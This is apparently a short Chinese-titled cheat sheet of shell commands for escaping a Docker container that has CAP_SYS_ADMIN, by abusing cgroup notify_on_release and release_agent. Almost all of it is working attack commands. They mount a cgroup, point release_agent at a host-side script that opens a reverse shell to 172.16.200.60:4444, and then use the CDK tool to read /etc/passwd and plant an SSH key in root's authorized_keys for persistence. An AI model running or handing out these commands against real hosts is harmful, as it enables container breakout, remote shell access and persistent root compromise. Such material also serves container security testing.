CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸

docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest

cat /proc/self/status | grep CapEff
capsh --decode=00000000a82425fb

#将cgroup进行挂载
mkdir /tmp/test && mount -t cgroup -o memory cgroup /tmp/test
#接着我们在挂载的目录下再创建一个子进程，主要攻击目标应在子进程内，因为攻击的过程需要将cgroup下所有的task清除，所以在同样环境的子进程内进行更加合理安全
mkdir /tmp/test/x

echo 1 > /tmp/test/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/test/release_agent

echo '#!/bin/sh' > /cmd
echo 'sh -i >& /dev/tcp/172.16.200.60/4444 0>&1' >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/test/x/cgroup.procs"

./cdk run mount-cgroup "cat /etc/passwd"

./cdk run mount-cgroup "echo 'ssh-rsa xx    '>> /root/.ssh/authorized_keys | "

./cdk run mount-cgroup "chmod 644 /root/.ssh/authorized_keys"